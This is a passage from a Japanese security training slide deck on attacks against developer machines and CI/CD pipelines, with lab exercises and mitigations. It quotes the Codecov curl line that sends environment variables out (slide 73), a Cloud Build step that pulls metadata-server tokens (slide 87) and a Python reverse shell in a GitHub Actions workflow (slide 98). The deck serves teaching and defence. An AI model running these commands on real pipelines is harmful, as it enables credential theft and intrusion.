■ Cloudの長期鍵などは、使用する場所に保管した後、端末からは削除する
○ (限界) ただし、現実的にそのような保管が出来ないケースは存在する
■ 前ページの対策を組み合わせながら、可能な限りセキュアにする
■ (参考) Secret混入の検知・防止する機能・ツールを利用する
● GitHub Push Protection, GitLab Secret Detection, TrivyによるSecret
Scanning, VS Codeのextensions , etc
Slide 62
Slide 62 text
守りかたを考える
(参考) 端末そのもののセキュリティ
● 今回の講義では侵入を前提としているものの、端末自体のセキュリ
ティを強化することによりリスクを下げることもできる
● 対策例 ※攻撃者はDefense Evasionを調査していることに注意
○ ソフトウェアの資産管理・脆弱性の管理
○ OSなどのソフトウェアの堅牢化
○ マルウェア対策・調査手段の確保
■ EDRやマルウェア対策ソフトウェアの使用
■ そもそもマルウェア感染が起きづらい・App間の分離がされている端末を使用
● 適切に設定されたChrome OS, iOS, Androidなど
○ ネットワーク制限
■ 端末間の通信制限・外向き通信制限によるC2サーバへの接続防止など
● ソフトウェア・基盤開発者の領域で出来ること・出来ないことがある
● 自分たちの作るアプリケーションのセキュリティが、他の組織も含めた対策によ
り変わってくることを認識しておく
※ 今回スコープ外だが、IT Admin権限の窃取によるクラウド侵害も攻撃パスとして存在する
社内IT・Securityの領域
62
Slide 63
Slide 63 text
演習2: Try to secure your token
● 下記の演習を実施する
○ https://github.com/rung/training-devenv-security/tree/main/2-exercise2
● ゴール
○ クレデンシャルのセキュア化を試してみる
63
Slide 64
Slide 64 text
本章のまとめ
● 標的型攻撃の流れの把握
○ ATT&CKにおいて、端末への攻撃がどのように表現されているかを説明した
● 開発者端末でのCredential Access
○ 端末に残りうる認証情報にどのようなものがあるかを確認した
○ 強固な認証を行っても、その後発行されるトークンなどを窃取されると突破さ
れることを学んだ
● 守りかたを考える
○ 認証情報に対するセキュリティの強化という目線から、対策としてどのような
ことができるかを説明した
○ ソフトウェアや開発の基盤の開発者からは出来ないことも多く、他チームも含
んだ対策によりリスクが減るケースが多いことを説明した
○ クレデンシャルの保管には課題も多いことを説明した
64
Slide 65
Slide 65 text
3. CI/CDパイプラインのセキュリティ
65
Slide 66
Slide 66 text
アジェンダ
1. Introduction -
開発環境の変化と攻撃の流れ
2. 開発端末に残るもの
3. CI/CDパイプラインの
セキュリティ
開発端末に対する攻撃に成功すると何が起きるのか、実際に演
習を通じて学び、開発者として出来ることを考えます
● 標的型攻撃の流れの把握
● 開発者端末でのCredential Access
● 守りかたを考える
新たなリスクを抱えるCI/CDパイプラインについて、なぜ危険
なのかを、演習を通じて学びます
● CI/CDパイプラインの理解
● CI/CDパイプラインを狙った攻撃の理解と実践
● 守りかたの理解と実践と限界
66
下記の概要を把握し、クライアントサイドからの攻撃パスがあ
ることを理解します
● 最近の開発環境の変化
● 開発環境の変化による攻撃パスの違い
● 標的型攻撃の概要と攻撃手法のモデル
Slide 67
Slide 67 text
本章の位置付け
● 新たな本番環境への侵入口となったCI/CDパイプラインについて、前章までに扱っ
た端末側への攻撃の観点と、パイプラインへのサプライチェーン攻撃の観点の双方
からの攻撃を考える
新たに増えた本番接続口
67
守りたい場所
Slide 68
Slide 68 text
3. CI/CDパイプラインのセキュリティ
1. CI/CDパイプラインの理解
CI/CDパイプラインがどのような理由で使われるようになったのか、どのよう
な用途での利用を行えるのか理解し、実際に演習を行います
68
Slide 69
Slide 69 text
CI/CDパイプラインの理解
Application Developmentのトレンド
● DevOps
○ 開発者と運用者の協力・融合
■ 高頻度のデプロイメント
■ 短期間での変更
○ オートメーション
■ CI (Continuous Integration)
■ CD (Continuous Delivery)
● Infrastructure as codeとGitOpsなどの流れ
○ Gitを用いてコードでインフラを管理
○ Immutable infrastructure
■ 既にあるサーバにアップデートを当てるの
ではなく、コンテナなどを用いて、毎度ビ
ルドしなおしアップデートはコンテナごと
入れ替えるという流れに
● 多くのソフトウェア開発者を抱える会社でCI/CDパイプ
ラインの活用は進んでいる
69
Slide 70
Slide 70 text
CI/CDパイプラインの理解
CI/CDパイプラインとは何か
● CI/CDのユースケース
○ アプリケーションの開発
○ Infrastructure as Codeにおけるインフラの管理 (Terraformなど)
70
Slide 71
Slide 71 text
CI/CDパイプラインの理解
CI/CDパイプラインのツール
● Managed CI/CD Servicesの例
○ GitHub Actions (Managed)
○ AWS CodePipeline
○ Google Cloud Build
○ GitLab CI/CD (Managed)
○ CircleCI, etc
● Self-Hosted CI/CD Servicesの例
○ Jenkins
○ GitHub Actions (Self-Hosted)
○ Drone
○ GitLab CI, etc
※ コンテナのデプロイメントの管理(CD)はSpinnakerやArgoCDなどのツールが使われることも多い
が、役割は類似であること、コンテナのビルドまでは上記ツールで行われることが多く同様に攻撃で
きるため、今回は扱わない
71
Slide 72
Slide 72 text
CI/CDパイプラインの理解
CI/CDパイプラインのインパクト
● CI/CDパイプラインへの攻撃は大きなインパクトを持つ
○ CI/CDはプロダクション環境と直接つながっているから
○ 環境変数に長期鍵を保管して権限をもたせるのがプラクティスになっている
○ 本番に繋がるトークンが、Review不要の誰でも変更できるブランチを経由し
て取得できるようになっていることが多い
72
Slide 73
Slide 73 text
CI/CDパイプラインの理解
2021: Codecov Supply-chain Attack
● Codecov: CI/CD pipelines上で用いるテストカバレッジの計測ツール
○ Codecovが下記の内容を含むよう改ざんされた(サプライチェーン攻撃)
curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” http:///upload/v2 || true
■ git repositoryの名前と環境変数がアップロードされる
○ 2021年4月に発覚。約2ヶ月間世界中で気づかれないまま利用され続けていた
73
Slide 74
Slide 74 text
CI/CDパイプラインの理解
CI/CDパイプラインにおける難しさ
● CI/CDは便利だけどリスクも高い
○ デフォルトの挙動を理解し、対策を行わないと、設定ミスにより本番侵害に繋
がる
○ ログの保管・実施事項のモニタリングが難しい
○ Managedだと外向き通信の制限なども難しい
● 静的な長期トークンの危険
○ ポータブル
○ Expireしない
○ トークンの中央管理は難しい
● サプライチェーン管理
○ ソフトウェアの依存関係だけでなく、CI/CDパイプライン上で使っているツー
ルも攻撃に使用される
○ 何のツールを使っているかの把握やIntegrityの管理も必要だが、そもそも管
理手段がないものもあり難しい
74
まだベストプラクティスも確立しておらず、セキュリティに配慮した設計が難しい
Slide 75
Slide 75 text
CI/CDパイプラインの理解
ATT&CK-like threat matrix
https://github.com/rung/threat-matrix-cicd
MercariでATT&CK-likeに
まとめた攻撃手法一覧
75
Slide 76
Slide 76 text
CI/CDパイプラインの理解
(Ref) Top10 CI/CD Security Risks
https://www.cidersecurity.io/top-10-cicd-security-risks/
Top10 CI/CD Security Risks
76
Slide 77
Slide 77 text
守りかたの理解と実践
(Ref) SLSA
● SLSA: Supply-chain Levels for Software Artifacts
○ サプライチェーンを保護する対策の業界標準
○ 主なスコープ
■ Software artifactの作成
■ 依存関係の利用
■ DeveloperからConsumerまでのサプライチェーン
77
(本講義のゴール)具体的に各Requirementが何を守るのかを意識しながら利用すること
Slide 78
Slide 78 text
CI/CDパイプラインの理解
(Ref) GitHubの推奨設定
GitHub Organizationの安全な運用とモニタリングに関するスライド
（全44ページ）を無償公開しました - Flatt Security Blog
78
Slide 79
Slide 79 text
CI/CDパイプラインの理解
(Ref) CI/CDセキュリティ関連の文書リスト
79
CI/CD, SLSAなどを含むクラウド関係全体の文
書リスト
CI/CD Providers - CloudSecDocs
Slide 80
Slide 80 text
演習3: Try continuous deployment and Infrastructure as code
● 下記の演習を実施する
○ https://github.com/rung/training-devenv-security/tree/main/3-exercise3
● ゴール
○ CI/CDによるデプロイ自動化とInfrastructure as Codeを実際に試してみる
80
Slide 81
Slide 81 text
(参照) Lab環境
81
devenv-security-app
secrets.GCP_
SA_KEY
GitHub Actions
(CD)deploy
test
https://github.com/rung/training-devenv-security/tree/main/template/devenv-security-app/.github/workflows
main branch
any branch
Deployment
(To simplify the lab, app builds container and deploy it directly)
Cloud Run
devenv-security-app
secrets.GCP_
SA_KEY
GitHub Actions
(CD)apply
plan
https://github.com/rung/training-devenv-security/tree/main/template/devenv-security-iac/.github/workflows
Google Cloud
main branch
any branch
Apply
Google Cloud
Resource
on Your Project
Plan
(Storage) state
management
App
IaC
Slide 82
Slide 82 text
3. CI/CDパイプラインのセキュリティ
2. CI/CDパイプラインを狙った攻撃の理解と実践
CI/CDパイプラインを狙った攻撃について理解し、実際に演習を行います
82
Slide 83
Slide 83 text
CI/CDパイプラインを狙った攻撃の理解と実践
CI/CDパイプラインにおける攻撃手法
Source Code
(Git Repository)
Developer, SRE
Production
Build/Test Deploy
✔
Credentials
on Env Variables
Approver
● CI/CD Configuration変更
● ソースコードの変更
● IaCでのコード変更
● Lint, Test, Build Toolへのサプラ
イチェーン
● デプロイのためのCredentials取得
(isolation不足)
● デプロイツールへのSupply-chain
● Bypass Review
Credentials
on Env Variables
Merged
CI CD
83
Slide 84
Slide 84 text
CI/CDパイプラインを狙った攻撃の理解と実践
Attack Scenario 1 - Managed CI/CD Pipelineへのサプライチェーン攻撃
● Codecovのようなサプライチェーン攻撃
○ CircleCIの環境変数は同じレポジトリ内のどのブランチからも参照できる
■ (mainブランチとそれ以外のIsolationがない)
84
Slide 85
Slide 85 text
CI/CDパイプラインを狙った攻撃の理解と実践
Attack Scenario 2 - IaC by Cloud Buildの一般的な構成
● Infrastructure as Code through the CI/CD pipeline
○ GCP Cloud Buildは透過的にSecret Managerにアクセスできるように設定可
能
■ 適切に設定しないと、mainブランチとそれ以外のIsolationがされない
■
■
85
Slide 86
Slide 86 text
CI/CDパイプラインを狙った攻撃の理解と実践
Attack Scenario 2 - IaC by Cloud Buildの一般的な構成を狙った攻撃
Device
(Write
Permission)
Plan Apply
✔
Credential For Cloud
Configuration
Approver
Infrastructure as
Code
Cloud Build Cloud Build
GitHub
Secret Manager
Merged
Cloud
Infrastructure
Branch: dev Branch: main
CI CD
C&C
1. Malware Infection via Phishing
2. Kick CI by push and
modify cloud build config
Metadata Server
3. Metadata server provides Temporary
Google Service Account Token
4. Attacker retrieves credential from Secret Manager
86
Slide 87
Slide 87 text
CI/CDパイプラインを狙った攻撃の理解と実践
(Ref) Attack Scenario 2 - IaC by Cloud Build
cloudbuild.yaml (Cloud Build Configuration)
steps:
- name: 'curlimages/curl'
args: ["curl", "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", "-H",
"Metadata-Flavor: Google"]...
● Cloud Buildからの一時トークンの取得は下記で実施できる
○ * SSRFと同様の攻撃. Metadataからのトークン取得
87
Slide 88
Slide 88 text
CI/CDパイプラインを狙った攻撃の理解と実践
(Ref) Attack Scenario 3 - CI/CDパイプライン内での権限昇格 (Self-hosted)
● CI/CDパイプライン上で権限昇格して横展開する
○ コンテナ環境で運用されているCI/CD pipelineの例
● Real World Example (Sep, 2021)
○ Teleport - Anatomy of a Cloud Infrastructure Attack via a Pull Request
■ https://goteleport.com/blog/hack-via-pull-request/
88
Slide 89
Slide 89 text
演習4: Attack against CI/CD
● 下記の演習を実施する
○ https://github.com/rung/training-devenv-security/tree/main/4-exercise4
● ゴール
○ CI/CDパイプラインを攻撃し、アタックサーフェスを理解する
89
Slide 90
Slide 90 text
3. CI/CDパイプラインのセキュリティ
3. 守りかたの理解と実践
さきほど攻撃を行ったCI/CDパイプラインについて、どのような守り方をする
と攻撃を防ぐことができるか考えます
90
Slide 91
Slide 91 text
守りかたの理解と実践
CI/CDパイプラインを守る
● CI/CDセキュリティを考える際に使えるリソース
○ メルカリ公開のThreat matrixが“Mitigation”列を含んでいる
■ CI/CDセキュリティのデザインを決めるときに使用できる
○ Top10 CI/CD Security RisksもRecommendationを含む
● CDはプロダクションレベルのセキュリティが必要となる
○ CDはビルド/デプロイや設定変更を行える場所になる
https://github.com/rung/threat-matrix-cicd
91
Slide 92
Slide 92 text
守りかたの理解と実践
Components of CI/CD
Name Tools
Device ● Developer Workstation: Mac/Win/Cloud-based
Git Repository
Service (SCM)
● GitHub, GitLab
CI ● CI/CD Services (e.g. CircleCI, Cloud Build, Codebuild, GitHub Actions)
CD
● CI/CD Services (e.g. CircleCI, Cloud Build, Codebuild, GitHub Actions)
● CD Services (e.g. Spinnaker, ArgoCD)
Secret
Management
● Secret Management Services (e.g. AWS Secret Manager, GCP Secret
Manager, Hashicorp Vault)
Production
environment
● Cloud Services (e.g AWS, Google Cloud, Microsoft Azure)
● Other Resources (e.g. Container Registry, Linux Server, Kubernetes)
92
Slide 93
Slide 93 text
守りかたの理解と実践
Mitigationのしかた
●
Source Code
(Git Repository)
Device
Production
Build/Test Deploy
✔
Approver
● 適切なAccess Controls
● Least Privilege
● Rate Limiting
● Signed Commitsの強制
● Audit Logging and
Monitoring
Approved
Secret Manager
● ネットワーク制限
● Audit Logging and
Monitoring
● Rate Limit
CI CD
● Self-Hosted (Not Managed)の堅牢化
● CI/CDの分離
● Keyless
● Audit Logging and Monitoring
● 信頼できないtoolを使用しない
● Tool Integrity Checks
● TerraformなどはCDでのコード実行の制限
(Disallow CI/CD config modification without
review, etc)
●
● Keylessを用いる。必要なStatic KeyはSecret Managerに保管
● mainブランチとそれ以外のIsolationをする
● 適切な鍵管理・権限設定(Key Rotation, Least Privilege, CIと
CDで権限を分けるなど)
● ネットワーク制限
● Audit Logging and Monitoring
❌
❌
Attacker’s Server
C&C
Egress Restriction
Valid Token from
External Network
❌
❌
Network
Restriction to API
Secret Manager
93
Slide 94
Slide 94 text
守りかたの理解と実践
セキュリティの基本原則に立ち返る
● 静的なクレデンシャルは、一度盗まれたらどこからでも使える、Single Point of Failure
になりうる
● 攻撃の流れ全体を見ると、インテリジェントな対策よりも、まずはNetworkのEgress制
限・3rd party toolなどがトークンにアクセスできないようにするなどの対策が有効にな
るとも考えられる(アップロードやC2サーバへのアクセスを防止できるため)
● セキュリティの基本原則に立ち返りつつ考える
○ Defense in depth (多層防御)
■ ネットワーク制御, CIとCDの分離, Keyless, Attack Surfaceの最小化,
Integrityの確認(署名検証: tool, application, library, container image)
■ 鍵が不正利用された可能性がある場合に速やかに変更できるプロセスの確立
○ Least Privilege (最小権限の原則)
■ 常に最小権限にする
○ その他
■ Multi-party authentication(Approval必須)
■ Audit logging and Security Monitoringなど
● ※ モノレポなどでは、さらなる考慮が必要
94
Slide 95
Slide 95 text
守りかたの理解と実践
Managed vs Self-hosted
● Managed CI/CD Pipelinesの課題
○ 可視性が低い
○ 他社とネットワーク環境を共有しており、ネットワーク制限なども難しい
● Self-hosted CI/CDの選択肢
○ 1. Commercial CI/CDのSelf-hosted runnerを用いる(GitHub Actionsなど)
○ 2. OSSのCI/CDをベースにしてCI/CD infrastructureをインハウスで作る
● No perfect solution provided!
○ CI/CDセキュリティはまだ新しいエリア
○ セキュアなCI/CDパイプラインを作るためには、Self-hostedなども用いなが
ら開発することが必要
95
Slide 96
Slide 96 text
演習5: Secure your CI/CD pipeline
● 下記の演習を実施する
○ https://github.com/rung/training-devenv-security/tree/main/5-exercise5
● ゴール
○ CI/CDパイプラインのセキュア化を実施しつつ、限界を把握する
96
Slide 97
Slide 97 text
守りかたの理解と実践
(参考) GitHub ActionsのOIDC Token
● Flow
● ID Tokenの構造 (repository: rung/actions-test, branch: test-run)
97
Actions ID Provider
curl -H "Authorization: bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}"
"${ACTIONS_ID_TOKEN_REQUEST_URL}&audience="
ID Token
Format: JWT(JWS)
Header: {"typ":"JWT","alg":"RS256","x5t":"...","kid":"..."}
Payload:
{"jti":"..."","sub":"repo:rung/actions-test:ref:refs/heads/test-run","aud":"","ref":"refs/heads/test-run","sha":"...","repo
sitory":"rung/actions-test","repository_owner":"rung","repository_owner_id":"...","run_id":"...","run_number":"...","run_attempt":"1"
,"repository_visibility":"private","repository_id":"...","actor_id":"...","actor":"rung","workflow":"...","head_ref":"","base_ref":""
,"event_name":"push","ref_type":"branch","job_workflow_ref":"rung/actions-test/.github/workflows/cron.yml@refs/heads/test-run","iss":
"https://token.actions.githubusercontent.com","nbf":...,"exp":<300sec>,"iat":...}
Spec of Claims
Configuring OpenID Connect in cloud providers - GitHub Docs
Slide 98
Slide 98 text
守りかたの理解と実践
(参考) CI/CDの中に入ってコマンドを実行する
● Tailscaleなどを利用するとサーバのセットアップなどなしにCI/CDの中身を見れる
○ (Mesh networkを利用して直接通信できるようになる)
○ Actionsからローカル端末にリバースシェルを貼る
○ Tailscaleに接続した端末で待ち受ける
98
- name: Setup Tailscale
uses: tailscale/github-action@main
with:
authkey: ${{ secrets.TAILSCALE_SECRET_FOR_DEBUG }}
- name: shell
run: |
export RHOST="";export RPORT=8080;python -c 'import
socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in
(0,1,2)];pty.spawn("/bin/sh")'
% nc -l 8080
$ hostname
hostname
fv-az399-545
$ curl -H "Authorization: bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}" "${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=test"
Slide 99
Slide 99 text
本章のまとめ
● CI/CDパイプラインの理解
○ CI/CDパイプラインの理解や、CI/CDパイプラインを狙った攻撃を説明した
● CI/CDパイプラインを狙った攻撃の理解と実践
○ 実際に攻撃する方法を紹介し、実践を行った
● 守りかたの理解と実践と限界
○ 守りかたと、現状の限界を説明し、守りかたの実践を行った
99
Slide 100
Slide 100 text
Summary
100
Slide 101
Slide 101 text
(再掲) ゴール
Threat Modelingによる
リスクの特定サイクル
(Microsoft)
Purple Teaming
攻撃目線・防御目線の協力
によるセキュリティ改善
(SANS)
101
● Webアプリケーションを直接狙わない、開発環境経由
の攻撃シナリオを把握する
● NISTなどのセキュリティフレームワークや各種ベスト
プラクティス、Public Cloud/SaaSなどの提供するセ
キュリティ機能について、開発環境観点からの重要度
の判断や、それらに足りていない項目の把握ができる
ようになる
● ベストプラクティスの確立していない新しい開発技術
においても、Threat Modelingや設計が出来るようにな
る
Slide 102
Slide 102 text
本日行った内容
1. Introduction -
開発環境の変化と攻撃の流れ
2. 開発端末に残るもの
3. CI/CDパイプラインの
セキュリティ
開発端末に対する攻撃に成功すると何が起きるのか、実際に演
習を通じて学び、開発者として出来ることを考えます
● 標的型攻撃の流れの把握
● 開発者端末でのCredential Access
● 守りかたを考える
Webアプリケーションの侵害について、開発環境の攻撃シナリオの観点から講義を行った
102
新たなリスクを抱えるCI/CDパイプラインについて、なぜ危険
なのかを、演習を通じて学びます
● CI/CDパイプラインの理解
● CI/CDパイプラインを狙った攻撃の理解と実践
● 守りかたの理解と実践と限界
下記の概要を把握し、クライアントサイドからの攻撃パスがあ
ることを理解します
● 最近の開発環境の変化
● 開発環境の変化による攻撃パスの違い
● 標的型攻撃の概要と攻撃手法のモデル
Slide 103
Slide 103 text
Special Thanks!
103
Slide 104
Slide 104 text
Special Thanks!
● Security 2022 Web Security Class
○ Producer: Takashi Yoneuchi
○ Tutor: Yuta Morioka
● Reviewer / Advisor (Abc order)
○ Ginji Hayashi
○ Kengo Suzuki
○ Masahiro Yamada
○ Miki Takahashi
○ Mitsuaki (Mitch) Shiraishi
104
Slide 105
Slide 105 text
References
105
Slide 106
Slide 106 text
References
● 1. Introduction - 開発環境の変化と攻撃の流れ
○ 石川 朝久, 2022”脅威インテリジェンスの教科書”
○ Adam Shostack, 2014 ”Threat Modeling: Designing for Security”
○ Purple Teaming Explained
○ Threat Modeling at Mercari
○ MITRE ATT&CK®
○ The Unified Kill Chain
○ MITRE ATT&CK Defender™ (MAD) ATT&CK® Fundamentals Badge Training
○ Microsoft Security Development Lifecycle Threat Modelling
● 2. 開発端末に残るもの
○ The C2 Matrix
○ Pursuing evasive custom command & control - GuideM
○ Chromium Docs - Chrome Security FAQ
○ About Multifactor Authentication | Okta
○ GitHub - swisskyrepo/PayloadsAllTheThings
○ HackTricks
○ Stealing Chrome cookies without a password
○ GitHub - moonD4rk/HackBrowserData
106
Slide 107
Slide 107 text
References
● 3. CI/CDパイプラインのセキュリティ
○ Attacking and Securing CI/CD Pipeline - Speaker Deck
○ Terraform CI code execution restrictions | Mercari Engineering
○ Common Threat Matrix for CI/CD Pipeline
○ Top 10 CI/CD Security Risks
○ SLSA: Supply-chain Levels for Software Artifacts
○ CNCF Software Supply Chain Best Practices
○ The Insecure Software Supply Chain - A History of Failure and a New Way Forward
107